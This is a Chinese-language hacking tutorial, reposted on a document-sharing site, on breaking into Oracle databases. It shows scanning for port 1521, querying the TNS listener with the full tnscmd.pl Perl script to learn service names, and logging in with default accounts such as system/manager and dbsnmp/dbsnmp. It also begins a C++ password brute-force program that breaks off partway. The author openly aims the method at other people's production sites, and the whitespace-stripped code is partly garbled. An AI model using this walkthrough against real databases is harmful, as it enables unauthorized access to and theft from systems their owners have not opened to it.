入侵oracle数据库的一些心得.docx
- 文档编号:18227588
- 上传时间:2023-08-14
- 格式:DOCX
- 页数:22
- 大小:25.45KB
入侵oracle数据库的一些心得.docx
《入侵oracle数据库的一些心得.docx》由会员分享,可在线阅读,更多相关《入侵oracle数据库的一些心得.docx(22页珍藏版)》请在冰点文库上搜索。
入侵oracle数据库的一些心得
入侵oracle数据库的一些心得
信息来源:
I.S.T.O信息安全团队(
一、先看下面的一个贴子:
Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:
1、支持大数据库、多用户的高性能的事务处理。
Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。
支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。
系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。
可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。
2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。
所以它是一个开放系统,保护了用户的投资。
美国标准化和技术研究所(NIST)对Oracle7SERVER进行检验,100%地与ANSI/ISOSQL89标准的二级相兼容。
3、实施安全性控制和完整性控制。
Oracle为限制各监控数据存取提供系统可靠的安全性。
Oracle实施数据完整性,为可接受的数据指定标准。
4、支持分布式数据库和分布处理。
Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。
通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。
分布式系统像集中式数据库一样具有透明性和数据一致性。
具有可移植性、可兼容性和可连接性。
由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。
Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。
可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。
虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。
也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。
我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。
那么oracle呢?
也有的。
为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。
笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。
如何实现,看下面的文章吧。
进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。
那如何去知道呢,猜?
呵呵,显然是不行的。
这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。
但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。
这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。
理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。
现在开始测试吧,需要的工具有:
ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl。
我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。
然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:
C:
perlbin>perltnscmd.pl
usage:
tnscmd.pl[command]-hhostname
where'command'issomethinglikeping,version,status,etc.
(defaultisping)
[-pport]-alternateTCPporttouse(defaultis1521)
[--logfilelogfile]-writerawpacketstospecifiedlogfile
[--indent]-indent&outdentonparens
[--rawcmdcommand]-buildyourownCONNECT_DATAstring
[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)
我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。
然后我们就这样来:
C:
perlbin>perltnscmd.plservices-hxx.xx.110.110-p1521–indent
sending(CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:
1521
writing91bytes
reading
._.......6.........?
...........
DESCRIPTION=
TMP=
VSNNUM=135286784
ERR=0
SERVICES_EXIST=1
.Q........
SERVICE=
SERVICE_NAME=ORCL
INSTANCE=
INSTANCE_NAME=ORCL
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATEDSERVER
STA=ready
HANDLER_INFO=LOCALSERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=447278
REFUSED=0
HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=/home/oracle/bin/oracle
ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'
ARGV0=oracleORCL
ARGS='
LOCAL=NO
'
.........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。
如下:
C:
oracleora90BIN>sqlplus/nolog
SQL*Plus:
Release9.0.1.0.1-ProductiononThuMay2311:
36:
592002
(c)Copyright2001OracleCorporation. Allrightsreserved.
SQL>connectsystem/manager@
(description=(address_list=(address=(protocol=tcp)
(host=xx.xx.110.110)(port=1521)))
(connect_data=(SERVICE_NAME=ORCL)));
如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。
经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。
当然如果对方已经把默认密码改了,那我们只能换别的目标了。
但是我发现很多都是不改的,这个就是安全意识的问题了。
二、上面提到的两个小软件:
tnscmd.pl
Copycode
#!
/usr/bin/perl
#
#tnscmd-alametooltoprodtheoracletnslsnrprocess(1521/tcp)
#testedunderLinuxx86&OpenBSDSparc+perl5
#
#Initialcruft:
jwa@5Oct2000
#
#$Id:
tnscmd,v1.32001/04/2606:
45:
48jwaExp$
#
#seealso:
#
#http:
//cve.mitre.org/cgi-bin/cvename.cgi?
name=CAN-2000-0818
#
#
#
#GPL'd,ofcourse.http:
//www.gnu.org/copyleft/gpl.html
#
#$Log:
tnscmd,v$
#Revision1.32001/04/2606:
45:
48jwa
#typoinurl.whoops.
#
#Revision1.22001/04/2606:
42:
17jwa
#completerewrite
#-useIO:
:
Socketinsteadoftcp_open
#-gotridofpdump()
#-putpacketinto@listandbuilditwithpack()
#-added--indentoption
#
#
useIO:
:
Socket;
usestrict;#agrumpyperlinterpreterisyourfriend
select(STDOUT);$|=1;
#
#processarguments
#
my($cmd)=$ARGV[0]if($ARGV[0]!
~/^-/);
my($arg);
while($arg=shift@ARGV){
$main:
:
hostname=shift@ARGVif($argeq"-h");
$main:
:
port=shift@ARGVif($argeq"-p");
$main:
:
logfile=shift@ARGVif($argeq"--logfile");
$main:
:
fakepacketsize=shift@ARGVif($argeq"--packetsize");
$main:
:
fakecmdsize=shift@ARGVif($argeq"--cmdsize");
$main:
:
indent=1if($argeq"--indent");
$main:
:
rawcmd=shift@ARGVif($argeq"--rawcmd");
$main:
:
rawout=shift@ARGVif($argeq"--rawout");
}
if($main:
:
hostnameeq""){
print<<_EOF_;
usage:
$0[command]-hhostname
where'command'issomethinglikeping,version,status,etc.
(defaultisping)
[-pport]-alternateTCPporttouse(defaultis1521)
[--logfilelogfile]-writerawpacketstospecifiedlogfile
[--indent]-indent&outdentonparens
[--rawcmdcommand]-buildyourownCONNECT_DATAstring
[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)
_EOF_
exit(0);
}
#withnocommands,defaulttopingingport1521
$cmd="ping"if($cmdeq"");
$main:
:
port=1521if($main:
:
porteq"");#1541,1521..DBAsaresowhimsical
#
#main
#
my($command);
if(defined($main:
:
rawcmd))
{
$command=$main:
:
rawcmd;
}
else
{
$command="(CONNECT_DATA=(COMMAND=$cmd))";
}
my$response=tnscmd($command);
viewtns($response);
exit(0);
#
#buildthepacket,openthesocket,sendthepacket,returntheresponse
#
subtnscmd
{
my($command)=shift@_;
my($packetlen,$cmdlen);
my($clenH,$clenL,$plenH,$plenL);
my($i);
print"sending$commandto$main:
:
hostname:
$main:
:
port\n";
if($main:
:
fakecmdsizene"")
{
$cmdlen=$main:
:
fakecmdsize;
print"Fakingcommandlengthto$cmdlenbytes\n";
}
else
{
$cmdlen=length($command);
}
$clenH=$cmdlen>>8;
$clenL=$cmdlen&0xff;
#calculatepacketlength
if(defined($main:
:
fakepacketsize))
{
print"Fakingpacketlengthto$main:
:
fakepacketsizebytes\n";
$packetlen=$main:
:
fakepacketsize;
}
else
{
$packetlen=length($command)+58;#"preamble"is58bytes
}
$plenH=$packetlen>>8;
$plenL=$packetlen&0xff;
$packetlen=length($command)+58if(defined($main:
:
fakepacketsize));
#decimaloffset
#0:
packetlen_highpacketlen_low
#26:
cmdlen_highcmdlen_low
#58:
command
#thepacket.
my(@packet)=(
$plenH,$plenL,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x36,0x01,0x2c,0x00,0x00,0x08,0x00,
0x7f,0xff,0x7f,0x08,0x00,0x00,0x00,0x01,
$clenH,$clenL,0x00,0x3a,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x34,0xe6,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00
);
for($i=0;$i{
push(@packet,ord(substr($command,$i,1)));
}
my($sendbuf)=pack("C*",@packet);
print"connect";
my($tns_sock)=IO:
:
Socket:
:
INET->new(
PeerAddr=>$main:
:
hostname,
PeerPort=>$main:
:
port,
Proto=>'tcp',
Type=>SOCK_STREAM,
Timeout=>30)||die"connectto$main:
:
hostnamefailure:
$!
";
$tns_sock->autoflush
(1);
print"\rwriting".length($sendbuf)."bytes\n";
if(defined($main:
:
logfile))
{
open(SEND,">$main:
:
logfile.send")||die"can'twrite$main:
:
logfile.send:
$!
";
printSEND$sendbuf||die"writetologfilefailed:
$!
";
close(SEND);
}
my($count)=syswrite($tns_sock,$sendbuf,length($sendbuf));
if($count!
=length($sendbuf))
{
print"onlywrote$countbytes?
!
";
exit1;
}
print"reading\n";
#getfundata
#1st12byteshavesomemeaningwhichsofareludesme
if(defined($main:
:
logfile))
{
open(REC,">$main:
:
logfile.rec")||die"can'twrite$main:
:
logfile.rec:
$!
";
}
my($buf,$recvbuf);
#readuntilsocketEOF
while(sysread($tns_sock,$buf,128))
{
printREC$bufif(defined($main:
:
logfile));
$recvbuf.=$buf;
}
close(REC)if(defined($main:
:
logfile));
close($tns_sock);
return$recvbuf;
}
subviewtns
{
my($response)=shift@_;
#shouldhaveahexdumpoption...
if($main:
:
raw)
{
print$response;
}
else
{
$response=~tr/\200-\377/\000-\177/;#striphighbits
$response=~tr/\000-\027/\./;
$response=~tr/\177/\./;
if($main:
:
indent)
{
parenify($response);
}
else
{
print$response;
}
print"\n";
}
}
subparenify
{
my($buf)=shift@_;
my($i,$c);
my($indent,$o_indent);
for($i=0;$i{
$c=substr($buf,$i,1);
$indent++if($ceq"(");
$indent--if($ceq")");
if($indent!
=$o_indent)
{
print"\n"unless(substr($buf,$i+1,1)eq"(");
print""x$indent;
$o_indent=$indent;
undef$c;
}
print$c;
}
}
Copycode
/*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/
#defineWIN32_LEAN_AND_MEAN
#ifdefined(_WIN32)||defined(_WIN64)
#include
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#pragmacomment(lib,"oraocci9.lib")//链接到oraocci9.lib库
//#pragmacomment(lib,"msvcrt.lib")
#pragmacomment(lib,"msvcprt.lib")
//链接到WS2_32.LIB库:
#pragmacomment(lib,"Ws2_32.lib")
//#pragmacomment(lib,"liboracle.lib")
chartarget[40]={0};//目标服务器
charport[40]={0};//SQL端口号
chardb[40]={0};//数据库名
//定义链表:
typedefstructPassNode{
TCHARpassword[100];
structPassNode*Next;
}PassInfo;
typedefstructNameNode{
TCHARName[100];
structNameNode*Next;
}NameInfo;//定义NameInfo来表示NameNode结构
//
//函数SQLCheck
//功能:
尝试用不同密码连接SQLServer,探测出正确的密码
//
DWORDWINAPISQLCheck(PVOIDpPwd,PVOIDuU
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 入侵 oracle 数据库 一些 心得
![提示](https://static.bingdoc.com/images/bang_tan.gif)